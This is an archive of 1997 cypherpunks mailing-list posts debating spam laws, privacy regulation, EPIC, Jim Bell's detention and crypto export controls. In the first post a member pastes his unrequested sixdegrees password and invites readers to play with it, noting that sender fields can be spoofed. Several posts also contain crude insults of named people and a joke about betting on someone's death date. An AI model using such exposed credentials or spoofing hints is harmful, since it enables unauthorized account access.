From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 1 Jun 1997 03:00:21 +0800
To: cypherpunks@algebra.com
Subject: And speaking of spamming! (was: Stanton McCandlish)
Message-ID: <v03102804afb62251ee51@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



Speaking of unwanted messages, which legislators call "spamming."

An EFF person, whom I do respect, by the way, added my name to a spammer's
list, some shtick they have called "sixdegrees."

Here's the spam I just got, complete with what they claim is my "password."
Inasmuch as I never requested this password, and have no intention of using
it, and have no contractual relationship with either "sixdegrees" or
Stanton McCandlish, you folks might want to have some fun with this alleged
service and (unrequested) password. The password may only work if it comes
from "tcmay@mail.got.net," but, then, I hear that such "From:" fields are
easily spoofed.

--Tim

>X-From_: bmkf0032@auto.sixdegrees.com Sat May 31 10:43:36 1997
>X-Real-To: <tcmay@mail.got.net>
>From: "sixdegrees" <bmkf0032@auto.sixdegrees.com>
>To: "May Tim"  <tcmay@mail.got.net>
>Reply-To: "sixdegrees" <bmkf0032@auto.sixdegrees.com>
>Subject: Stanton McCandlish
>Date: Sat, 31 May 1997 13:45:12 Eastern Daylight Time
>
>Name: May Tim
>E-Mail Address: tcmay@mail.got.net
>sixdegrees Password: cusproll
>
>You've been listed by Stanton McCandlish as "Acquaintance"
>as part of a free Internet networking service called sixdegrees(tm).
>
>WHAT WE ARE:
>
>   sixdegrees is a Web site at http://www.sixdegrees.com/ that's
>   based on the theory that everyone on earth is connected to
>   everyone else through a path of six people or less. We hope to
>   use the power of the Internet to revolutionize the way people
>   network.
>
>WHAT'S IN IT FOR YOU:
>
>   You can come to http://www.sixdegrees.com/ and use our FREE
>   services to network with the people you want to know through
>   the people you do know. You can find out how you're connected
>   to specific people, like that person who's interviewing you for
>   a new job next week. Or, you can find out how you're connected
>   to certain kinds of people, like pediatricians in San Francisco,
>   or inline skaters in New York.
>
>WHAT'S IN IT FOR US:
>
>   We make money by selling ads on the sixdegrees site. We
>   never sell lists of names or any specific information about
>   our individual members to anybody. To find out more about
>   our policies regarding privacy, just visit
>   http://www.sixdegrees.com/about/privacy.cfm
>
>HOW IT WORKS:
>
>   If you list your contacts and how you know them, we'll forward
>   them an email like this one. They'll be invited to confirm their
>   relationship to you and to participate in sixdegrees themselves
>   by listing their contacts.
>
>WHAT TO DO NEXT:
>
>   Just reply to this e-mail by following the INSTRUCTIONS below
>   (you may want to print it out first - it's easier that way.)
>
>
>   And remember to visit http://www.sixdegrees.com/. Click on Services,
>   log-in with your password, which is cusproll, and enjoy
>   networking on a whole new level.
>
>===================================================================
>INSTRUCTIONS FOR REPLYING:
>
>FIRST:
>
>   Click your mail program's REPLY button.
>
>SECOND:
>
>   On the FIRST line of the message body of the reply e-mail that
>   opens, type only the word CONFIRM or DENY to let us know if you
>   are in fact Stanton's Acquaintance.
>
>THIRD:
>   On the next line of the message body list the first and last names
>   and e-mail addresses of at least TWO people you know, and the
>   relationship numbers that correspond with how those people are
>   related to you.
>
>MAKE SURE:
>
>*  That the first name, last name, e-mail address and relationship
>   number are separated by SEMI-COLONS.
>
>*  You list at least TWO people if you want to become a member.
>   (You can list as many as you want - the more you list, the
>   larger your network of contacts will be.)
>
>*  Each entry is on its OWN LINE.
>
>*  You follow the format of these examples:
>
>      John; Smith; jsmith@fakeplace.com; 12
>      Jane; Doe; superjane@fakeplace.com; 3
>
>*  And that you define each relationship by choosing a number from
>   this list:
>
> 1=wife              2=husband              3=life partner
> 4=significant other 5=mother               6=father
> 7=sister            8=brother              9=daughter
>10=son              11=other family member 12=friend
>13=employer         14=employee            15=co-worker
>16=client           17=service provider    18=business contact
>19=fellow alum      20=acquaintance
>
>
>FOURTH:
>
>   Click send, and that's it. We look forward to hearing from you.
>
>===================================================================
>
>** PLEASE NOTE: All replies to this address are processed by a
>   computer. If you have any problems, questions or requests send an
>   e-mail to issues@sixdegrees.com and someone will get back to you
>   as soon as possible.
>
>** If you'd rather not participate in sixdegrees and would prefer
>   not to receive any further e-mails from us at this time, please
>   send an e-mail to remove@sixdegrees.com that says "REMOVE ME".
>
>===================================================================
>
>
>
>E.DB.ANB.1
>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 1 Jun 1997 03:52:06 +0800
To: Marc Rotenberg <declan@well.com>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <Pine.GSO.3.95.970531090958.6950A-100000@well.com>
Message-ID: <v03102805afb627d83acf@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 12:02 PM -0700 5/31/97, Marc Rotenberg wrote:
>Back to Tim's original point, I wonder if he knows
>that the P-TRAK data that Lexis/Nexis said was
>"public information" was actually taken from
>credit reports collected and sold by TransUnion.
>TU was able to sell the data because of a loophole
>in the Fair Credit Reporting Act. Sure, you post
>to the net that's public, but a lot of data collection
>is much more sleazy.

In my view, the Fair Credit Reporting Act is an unconstitutional
restriction on my right to compile records as I see fit.

Under the FCRA, if I take newspaper reports and public filings, for
example, of someone's bankruptcy in 1985 and make this part of "Tim's
Credit Evaluation" of that person, I have violated the FCRA.

(I believe the current "limit" for such "rememberances" is 8 years. Why
should the government have any ability to tell me I must "forget" records
older than 8 years? In fact, what part of "Congress shall make no law..."
do they not understand?)

More  to the point of the Cypherpunks list--and this is something we talked
about at the very first physical meeting, almost 5 years ago--it will
become increasingly easy for the FCRA to be bypassed with offshore data
havens.

Such data havens, discussed in physical form by Sterling in '88 ("Islands
in the Net"), and others (some even earlier than Sterling), and in
"cyberspace" form by many us (e.g., BlackNet, a working cyberspace data
haven), will be completely unaffected by legislation such as the FCRA.

(Though what will happen is that legislators will attempt to felonize
contacts with such data bases, much as they are doing with Internet
gambling. Remailers and Web proxies solve this problem. The usual arms
race.)

>I'd also appreciate some comment/criticism on
>the piece I did for Wired. My point was that
>in countries where there are legal rights to
>privacy it will be easier for technologies of privacy
>to flourish. I gave as examples the fact that PRZ
>was nearly indicted in the US while David Chaum
>was being applauded by the European Commission
>for building anonymous payment schemes. The OECD
>crypto policy drafting experience confirmed my
>suspicion.

I seldom read "Wired," so I didn't see this one. But the issues of Europe
vs. the U.S. are notoriously complex. For every "Europe is better" point,
such as not applying pressure to PRZ, there are the obvious counterpoints,
such as Compuserve being prosecuted in Germany, the nearly full ban on
crypto in France, the extradition of an American neo-Nazi publisher from
Belgium to Germany, and so on.

And as for Chaum and Digicash, Digicash is now in Silicon Valley. No firm
conclusions can be drawn one way or another.

Oh, and as for privacy in Europe, I'll remember how much they cherish
privacy the next time I'm required to leave my passport with the hotel
front desk (Europeans confirm that the police compile lists each night from
said deposited passports). They were still doing this in 1983 when I spent
6 weeks travelling through Europe; and it wasn't to ensure I'd pay my bill,
as they had my credit card stuff for that.


>Let me also try to explain how the simple-minded
>First Amendment-privacy rights trade-off often
>misses the point about privacy claims.  Consider
>the article about Judge Bork's video viewing
>habits back in 1987. Should Congress/the Courts
>prevent City Paper from publishing the article?
>Of course not. Could Congress/the Courts require
>video record stores not to disclose customer
>records without explict consent? You decide.

The best solution is neither of these options: Video rental stores don't
need True Names except to collect on unreturned tapes. (They might _like_
True Names, or at least mailing addresses, for advertising reasons, but
they don't _need_ them, and, like Radio Shack, will not make it a
requirement for a transaction.)

As with other such items, deposits work well here. My localvideo store does
not require true names, so long as a sufficient deposit is left for each
tape. Most persons use credit cards as the "return guaranty." Note also
that credit cards need not be in the true name of anyone, via various
options, much discussed on various lists.


>For the hardcore free market types, take a look
>at Posner's *Economics of Justice.* There are
>good economic reasons for privacy laws, e.g.
>do you really want to negotiate with the telcos
>on a case-by-case basis whether they can sell
>the contents of your phonecalls?

Such negotiations would likely not be on a case by case basis, for
transaction cost reasons on both sides. But I have no problem with
"allowing" a phone company to offer a cheaper service, for example, which
told customers it would sell the contents of the calls, or insert
advertisements at random intervals during a call, or whatever.

(Or even a phone company which offered to negotiate on a per call
basis...as with the cases above, I expect such a venture would flop, but
that's a different issue from whether such services should be "allowed."

And, in fact, the situation Marc describes is already with us on the Web.
Some sites sell lists of those who hit their sites. How is this different
from the Bork or phone cases?

It isn't.


>To be clear, I do believe that there should be
>laws to protect the right of privacy and that
>there should be an office within the federal
>government to advocate on behalf of privacy
>interests. I also believe that if such an agency
>had been established in 1991 when it was proposed,
>it would have been much harder for the government
>to push subsequently for digital telephony, Clipper,
>GAK, etc.

I don't believe there should be such laws, obviously.

And more importantly, strong crypto provides numerous monkeywrenchings of
such laws.

Pass a law requiring return addresses on all messages....the effect will be
to move the spam sites offshore. Then what do you do?

Pass a law like the Fair Credit Reporting Act saying it's a crime for Tim
May to "remember" and "tell others" that Suzie Hopkins skipped out on her
rent in 1988...the effect will be for the TransUnions and Equifaxes of the
near future to locate themselves in the Cayman Islands, beyond the FCRA.

Pass a law to make it a crime for a prospective employer or lender to
connect to this site in the Cayman Islands...the effect will be to increase
use of Web proxies and anonymous remailers.

And so on. Crypto anarchy means monkeywrenching these do-gooder laws.

(When EPIC and ACLU figure out the real implications of strong crypto, look
for them to talk about "compromises" on access to strong crypto....hey,
maybe SAFE is an indication they've started to realize what is coming.)

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 1 Jun 1997 01:27:02 +0800
To: cypherpunks@toad.com
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03102802afb5fd674225@[207.167.93.63]>
Message-ID: <y0uk8D53w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May <tcmay@got.net> writes:
> Any laws forbidding spam generation in the U.S. will simply (or already)
> move the spam-originating sites offshore. Then what happens? Is my ISP
> supposed to screen international messages for me? Do we get the
> U.N./OECD/Interpol/Illuminati to "regularize" anti-spam laws in all 197
> recognized nations?

Of course, the "anti-spamming" laws will also be used to suppress the
"politically incorrect" speech.  Recall that Jim Bell has already been
accused of "spamming", in addition to other crimes.

Those who follow the Usenet newsgroup alt.conspiracy may have observed
a recent trend: someone posts an anti-Clinton rant.  An unknown "rogue
retromoderator" forges a cancel for it. (Given how quickly forged "spam"
gets tracked down, it's amazing how no one ever catches these pesky "rogue
cancellers".) The author reposts the original rant. This repeats a few
times, after which Chris Lewis of BNA/Nortel kicks in and starts
issuing cancels for the rant, and any articler quoting the rant,
because it's been reposted too many times already, making it "spam".

Compare this with the CBS 60 minutes story about a month ago, about
how bad people are allowed to tell lies about the U.S. government on
the Internet, and how there ought to be a law against it.

> The "500 messages a day" problem will be solved through other means.  It
> has to be. Laws are insufficient, and wrong-headed, solutions for speech
> issues.

A promiscous e-mail box that assumes that strangers have something interesting
to say is quickly becoming obsolete.

A possible solution is to set up a procmail recipet that would dump all
incoming e-mail from unrecognized correspondents into a separate folder, which
one could examine at leasure once a week.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sun, 1 Jun 1997 06:13:44 +0800
To: Declan McCullagh <declan@pathfinder.com>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <y0uk8D53w165w@bwalk.dm.com>
Message-ID: <3.0.2.32.19970531125318.00760494@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:16 PM 5/31/97 -0400, Declan McCullagh wrote:
>Uh, no. Bell was charged with violating:
>
>26 U.S.C. Section 7212(a)
>42 U.S.C. Section 408(a)
>
>Which are, generally, attempts to interfere with administration of
>internal revenue laws and fraudulent use of a false SSN.

If that was the extend of the story, Bell wouldn't still be in jail.  The
USC violations above may be the official charge, but they hardly justify
keeping somebody locked up without bail. Bell is still in jail because he
wrote a politically incorrect essay and made the mistake of publishing it.
Come to think of it, that makes him a political prisoner.

What is the penalty for using a fake SSN? Does using a fake SSN warrant
keeping the suspect locked up without bail? I would think not.


--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Sun, 1 Jun 1997 02:10:12 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <Pine.GSO.3.95.970531090958.6950A-100000@well.com>
Message-ID: <Pine.SOL.3.96.970531124725.2814B-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 31 May 1997, Declan McCullagh wrote:

> The initial question has to be not how you protect rights,
> but how you define them. For example, we have a right
> to speak freely; there should be strict limits on
> government controls on free expression or the press.
> The state has unique powers of coercion. Similarly,
> there should be strict limits on government collection
> of personal data about its citizens.
> 
> But transactional privacy is a different matter. Sure,
> we may generally agree that privacy is the famous
> "right to be left alone," but how does that extend to
> what happens when I make an affirmative choice to
> connect to a web site that might record some info
> about my visit -- as an alternative to charging me?
> Nobody's forcing me to visit that site. That's why
> I'm starting to come around to the idea that privacy
> is not a universal right but a preference. We need a
> market in privacy, not inflexible FTC rulemaking.

Is one of the questions, whether we have right to take steps
to protect our "transactional" privacy?  The Brandeis and Warren
"right to be left alone" shares a connection with property rights
and has more than a nodding acquaintance with Fourth and Fifth
Amendment concepts--there's not much utility in a right to be
left alone if you have no place to be alone or if others can
enter your place/space at will.

Off your space ("in public") you can usually be observed; much
of the complaining in the past couple of decades is about the
increasingly sophisticated, even automated, means of observation
and recording, not about the fact that if you enter a premise
(say, a website:)) you can be seen and overheard by other people.
It seems to me this is a question of degree, and not a threat
to some pre-existing right to remain anonymous and "unseen"
in public. In other words, is there a right to forbid others
from trying to observe you in public, especially in places
where those others have an equal (or greater) right to be?

So the question may be not whether we can prohibit others from
doing so, by right, but whether we have right to attempt 
peacefully to *prevent* them from doing so?  I.e., can the 
gov't forbid us from trying to protect our privacy by avaliable
means, say, crypto?
MacN





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 1 Jun 1997 01:24:35 +0800
To: cypherpunks@toad.com
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <199705311633.LAA21181@mailhub.amaranth.com>
Message-ID: <DPVk8D54w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"William H. Geiger III" <whgiii@amaranth.com> writes:
>
> We have right now in Europe the universal embracement of
> Socialism/Communisim/Statism at the same time that Eastern Europe & the

Yep.

> former Soviet Empire are struggling towards Democracy & Freedom.

Nope.  More free market in the economies, but very bad record on
political freedoms in most eastern european countries + former
soviet republics

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 1 Jun 1997 01:18:00 +0800
To: cypherpunks@toad.com
Subject: Re: The Bible Code
Message-ID: <199705311659.MAA27760@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


John Young wrote:
> 
> Published today with great fanfare, "The Bible Code"
> describes the fruits of three Israeli mathematicians in
> decrypting hidden messages in the Bible by textual
> analysis algorithms. Blurbs claim that the work passed
> peer review for publication in a math journal a few
> years back, was confirmed by "a US Defense Department
> code-breaker" and predicted the assassinations of
> JFK, RFK, Sadat and Rabin.
...
> Better, is this book the first of many to come to celebrate the
> cook-ups of codes and cyphers and algorithmic chefs? Is a
> film in the works, or, best, a Seinfeld of 0s and 1s?

I will shortly be releasing my new book, "The ASCII Code" which
outlines the predictions made based on decrypting the hidden
messages in the ASCII artwork sent to the cypherpunks list.

Since none of the predictions have proven accurate, my book
speculates that perhaps Tim May isn't a cocksucker, after all.

All proceeds from the book will be converted to eca$h and used
to wager on the predicted date of death for Graham-John Bullers
on the AP Bot at:
http://www3.sk.sympatico.ca/carljohn/AP/AP.htm

DeathMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 1 Jun 1997 02:37:47 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: legal EAR work-around/Paper based remailers
In-Reply-To: <199705311800.TAA00253@server.test.net>
Message-ID: <199705311824.NAA22323@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <199705311800.TAA00253@server.test.net>, on 05/31/97 
   at 07:00 PM, Adam Back <aba@dcs.ex.ac.uk> said:


>William Geiger <whgiii@amaranth.com> writes:
>> Adam Back <aba@dcs.ex.ac.uk> writes
>> > [export via printing out on paper, and scanning via automated for pay
>> >  email gateway]
>> 
>> Why bother with all of this. If you want to export crypto then just do it.
>> As long as we keep up with this mickymouse approach to exports trying to
>> appease the FEDs who are acting unconstitutionaly on this matter things
>> will never change. Put up a web page or a ftp site with the crypto
>> binaries and let whomever wishes to download them download them.

>Do you have a copy of PGP5.0 on there?  I wouldn't mind looking at that.

No I have limmited space on that ISP so I only have OS/2 software there:
E-Secure, PGP 2.6.2 & 2.6.3 OS/2 binaries, PGP 2.6.2 & 2.6.3 source code,
and RSAREF 1.0 source code. If I ever get it finished I should have SSL &
Mixmaster OS/2 binaries & source available also.

>> I have done this and I will continue to do this dispite what the goons in
>> DC have to say about it.
>> 
>> We must all hang together or we will all hang.

>If you export it, and make a big deal of it advertising your web page as
>widely as you can, and talk to newspapers about how you're purposefully
>violating the export law, I'd predict you'd get a visit from the Feds in
>a few days.  As long as you're low key, you're just one of the hundreds
>getting away with it, and not worth the effort to stop.

Well I have posted the info to approx. 20 different newsgroups, plus
numerous mailing list & fido echos. Haven't called any newspapers but I
rank then right below lawers & politions so I am in no hurry to talk to
them anyway.

As far as the FEDs I allway liked the sound of Geiger vs The United States
of America. I doubt that they could really do more than harrasment
considering that they will allow fortune 500 to export PGP but not the
little guy??

>I think the key is to make fun of them, so that they loose
>credibility.  They don't like being laughed at.

>So Sun Microsystems did a real good job by getting stuff produced in
>Russia.  Russia of all places, given the average US persons jingoistic
>antagonism towards the "Commies".  Excellent.

>So my proposal is aimed at being another stunt.  It might be news-worthy
>(ie get reported on enough that it get discussed, and to make the US
>government look exceedingly stupid).

>And it's perfectly legal, so you can't be stopped.

>If PGP Inc wants to mail out the latest version of PGP, they are welcome
>to.

>I mean come on, next thing, the providor of this service will be offering
>web space too, so that US firms can link to their own binaries which they
>exported themselves 100% legally.

>Now all they need is some reseller agreements, or overseas sales offices
>to export worldwide unrestricted, dumb laws or not.

>It has been speculated that this change to the regulations might have
>been due to Phil Karn's ploy of asking to export the source code disks of
>the examples in Applied Crypto.  I think that is a cool
>speculation.

>Now we all know all the freeware and shareware crypto gets everywhere
>anyway.  But no US companies are not exporting high grade crypto
>generally, and US companies produce the lions share of application and OS
>software.

Well I would like to see the "big" computer
(IBM,Microsoft,NetScape,Sun,DEC,...) companies tell the FEDs where to go
and just export their software/hardware. What could the FEDs do? Shut down
the entire computer industry?

The whole power structure of the FEDs is built on fear & intimidation.
Solong as we deside to play it "safe" and just go along this will never
change. Whenever I think of ways of dealing with this problem I am
reminded of how Gandi handled the British in India. Non-violent civil
disobediance. The world governments are too dependant on the computer
industry for its survival. If the CEOs would just have some balls and
stand up to them this whole issue would have been dead before it ever got
started.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Sun, 1 Jun 1997 02:40:31 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <Pine.GSO.3.95.970531090958.6950A-100000@well.com>
Message-ID: <Pine.SOL.3.96.970531131733.3114A-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain


To be more clear, I should have mentioned in my last missive
that I'm thinking of a "liberty" right (to protect transactional
confidentiality) as opposed to a "privacy" or, to some extent,
"property" right.
MacN

On Sat, 31 May 1997, Declan McCullagh wrote:

> I'm now more awake than I was before, and a little less
> flippant, so let me try to respond to Marc's statement
> saying my summary of his "views on privacy below are
> just silly."
> 
> The initial question has to be not how you protect rights,
> but how you define them. For example, we have a right
> to speak freely; there should be strict limits on
> government controls on free expression or the press.
> The state has unique powers of coercion. Similarly,
> there should be strict limits on government collection
> of personal data about its citizens.
> 
> But transactional privacy is a different matter. Sure,
> we may generally agree that privacy is the famous
> "right to be left alone," but how does that extend to
> what happens when I make an affirmative choice to
> connect to a web site that might record some info
> about my visit -- as an alternative to charging me?
> Nobody's forcing me to visit that site. That's why
> I'm starting to come around to the idea that privacy
> is not a universal right but a preference. We need a
> market in privacy, not inflexible FTC rulemaking.
> 
> Oh, and the much-touted European Privacy Directive has
> made it near-impossible to exchange employee
> information between branches of the same firm that are
> physically in different countries. Bad move,
> Eurocrats.
> 
> -Declan
> 
> 
> 
> On Sat, 31 May 1997, Marc Rotenberg wrote:
> 
> > People who are interested in why I am pro-individual freedom
> > but not anti-government should take a look a my piece in Wired
> > "Eurocrats Do Good Privacy." [4.05]
> > 
> > I spent a year working for a good crypto policy at the OECD.
> > During that time I watched European government officials
> > argue for constitutional freedoms and against key escrow,
> > while business representatives quietly backed the US
> > GAK plan. Welcome to the real world.
> > 
> > Marc.
> > 
> > Btw - Declan's summary of our views on privacy below are
> > just silly. Many of the greatest defenders of First Amendment
> > freedoms have also felt most strongly about the right of
> > privacy. The question is always how you protect rights.
> > Perhaps libertarians would do away with all laws that protect
> > personal freedoms. Bad call.
> > 
> > 
> >  At 3:21 AM -0400 5/31/97, Declan McCullagh wrote:
> > >Unfortunately, Tim is letting a rant get in the way of reality. A shame,
> > >really, for he's capable of better. Let me respond. I may not be very
> > >cordial. We lost tonight's soccer game (goddamn wimpy libertarians) and
> > >went to some cheezy Crystal City sports bar afterwards. I just got back
> > >home, and it's 3:20 am...
> > >
> > >Anyway, Rotenberg and EPIC are not the Uber Enemy. Rather, they disagree
> > >with cypherpunk and libertarian positions on some issues. So we have
> > >issue-by-issue alliances with them. Let's break it down:
> > >
> > >------------------------------
> > >CRYPTO: EPIC takes a purist civil liberties approach to crypto. They've
> > >been the ones criticizing the SAFE "crypto in crime" provisions. Did the
> > >latest VTW alert sent out today even mention that portion of the bill, let
> > >alone criticize it?
> > >
> > >ANONYMITY: No other group in DC is such a staunch supporter of online
> > >anonymity publicly, though look for something from Cato soon. In fact, I
> > >linked to EPIC's copy of the McIntyre decision for my Friday Netly piece.
> > >Many business groups don't like anonymity online -- hurts the marketeers.
> > >
> > >FREE SPEECH: EPIC is co-counsel in ACLU lawsuit against CDA. I believe
> > >they've said some of the anti-spam legislation is unconstitutional.
> > >
> > >FOIA: David Sobel does fabulous work snagging government documents the
> > >spooks don't want released.
> > >
> > >PRIVACY: EPIC wants more Federal involvement to protect privacy and a
> > >Federal Privacy Commission (or something similar). Lots of laws,
> > >bureaucracies. Though EPIC does realize there's a First Amendment; other
> > >privacy groups are even more aggressive. EPIC is of course on the side of
> > >libertarians when it comes to government violations of privacy.
> > >------------------------------
> > >
> > >From a libertarian perspective, EPIC is good on everything but privacy. On
> > >that they want Big Government solutions.
> > >
> > >But that doesn't mean we reject and condemn what they do on other issues.
> > >Do we reject Eagle Forum's anti-Clipper endorsement because they're a
> > >bunch of ultraconservative wackos? Do we reject the National Organization
> > >for Women's position on the CDA as bad because they're a bunch of
> > >ultraliberal wackos? How about the National Association of Broadcaster's
> > >amicus brief against the CDA? The Christian Coalition rejecting a national
> > >ID cards and numbers? Ralph Nader wanting open access to government
> > >databases?
> > >
> > >No. We don't. Instead, we address this issue by issue. EPIC and Rotenberg
> > >are not always, but are often, our allies.
> > >
> > >-Declan
> > >
> > >
> > >On Fri, 30 May 1997, Tim May wrote:
> > >
> > >>
> > >> I suppose I am developing a reputation amongst the Inside the Beltway Cyber
> > >> Rights Groups (tm) as a pain in the ass, but nearly everytime I see one of
> > >> their chief spokeswonks giving a policy statement I realize they are "not
> > >> on my side."
> > >>
> > >> The latest quote is from Marc Rotenberg, on a CNN piece on spam and
> > >> anti-spam legislation, saying that what the legislators in Congress really
> > >> need to look into is how the spammers develop their data bases.....
> > >>
> > >> Incredible. Does he propose investigations of private data gathering?
> > >> Perhaps search warrants served on those who take public postings and
> > >> construct data bases?
> > >>
> > >> Look, I'm annoyed by getting 5-10 "unwanted" spam messages a day. But I
> > >> realize the "spammers" are merely  taking publicly available (= legally
> > >> available, as 99.99% of all such information is) information and using
> > >> legal channels to contact me. I may not "like" it, but their behavior is as
> > >> legal as someone calling me on the phone.
> > >>
> > >> (And ny nearly any measure of hassle factor, dashing to get to the phone
> > >> only to find it's a salesman selling something I don't want is worse than
> > >> any 20 unwanted e-mail messages.)
> > >>
> > >> So, Marc Rotenberg wants Congress to "look into" (= interfere with)
> > >> compilation and use of public information.
> > >>
> > >> These people are NOT our allies.
> > >>
> > >> --Tim May
> > >>
> > >> There's something wrong when I'm a felon under an increasing number of laws.
> > >> Only one response to the key grabbers is warranted: "Death to Tyrants!"
> > >> ---------:---------:---------:---------:---------:---------:---------:----
> > >> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> > >> tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
> > >> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> > >> Higher Power: 2^1398269     | black markets, collapse of governments.
> > >> "National borders aren't even speed bumps on the information superhighway."
> > >>
> > >>
> > >>
> > >>
> > >>
> > 
> > 
> > 
> > ==================================================================
> > Marc Rotenberg, director                *   +1 202 544 9240 (tel)
> > Electronic Privacy Information Center   *   +1 202 547 5482 (fax)
> > 666 Pennsylvania Ave., SE Suite 301     *   rotenberg@epic.org
> > Washington, DC 20003   USA              +   http://www.epic.org
> > ==================================================================
> > 
> > 
> > 
> > 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chris DiBona <chrisd@loc201.tandem.com>
Date: Sun, 1 Jun 1997 05:01:30 +0800
To: "cypherpunks@toad.com>
Subject: RE: The Bible Code
Message-ID: <01BC6DC8.92A51370@chrisd@loc201.tandem.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello again...

I see this sort of thing as being like when people see jesus in a bar of 
saop and charge a buck to the suckers who come to see it. Okay... here's 
the EMAIL code. I you read the following message:

On Saturday, May 31, 1997 12:10 PM, Dr.Dimitri Vulis KOTM 
[SMTP:dlv@bwalk.dm.com] wrote:
> lucifer@dhp.com (lucifer Anonymous Remailer) writes:
> > I will shortly be releasing my new book, "The ASCII Code" which
> > outlines the predictions made based on decrypting the hidden
> > messages in the ASCII artwork sent to the cypherpunks list.
> >
> > Since none of the predictions have proven accurate, my book
> > speculates that perhaps Tim May isn't a cocksucker, after all.
>
> But John Gilmore is surely a cocksucker.
>
> I've met Rips, who's supposedly behind this "bible code" nonsense.
> He's an asshole, and I dismiss anything he says as total bullshit.
>
> ---
>
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 
14.4Kbps
>

and put it though a filter using the "bible code" method.. you get :

stupid dorks will buy this book.


>From characters :

3,5,6,.... you get the point.

Suckers.

   Chris DiBona





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sun, 1 Jun 1997 02:33:37 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <y0uk8D53w165w@bwalk.dm.com>
Message-ID: <Pine.GSO.3.95.970531140858.21537A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 31 May 1997, Dr.Dimitri Vulis KOTM wrote:

> Of course, the "anti-spamming" laws will also be used to suppress the
> "politically incorrect" speech.  Recall that Jim Bell has already been
> accused of "spamming", in addition to other crimes.

Uh, no. Bell was charged with violating:

26 U.S.C. Section 7212(a)
42 U.S.C. Section 408(a)

Which are, generally, attempts to interfere with administration of
internal revenue laws and fraudulent use of a false SSN.

Besides, spamming isn't a criminal offense, last time I checked.

In the interests of completeness, I should note that I just finished a
rather long article about Bell's arrest and related events for Internet
Underground magazine. The government hinted that they might have
additional charges to file against Bell by the time the grand jury
convenes in probably two weeks. He is currently being held without bail, a
situation more common in Federal than state courts.

-Declan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 1 Jun 1997 03:58:48 +0800
To: Marc Rotenberg <rotenberg@epic.org>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03007801afb61ffec219@[207.172.96.178]>
Message-ID: <199705311944.OAA23276@mailhub.amaranth.com>
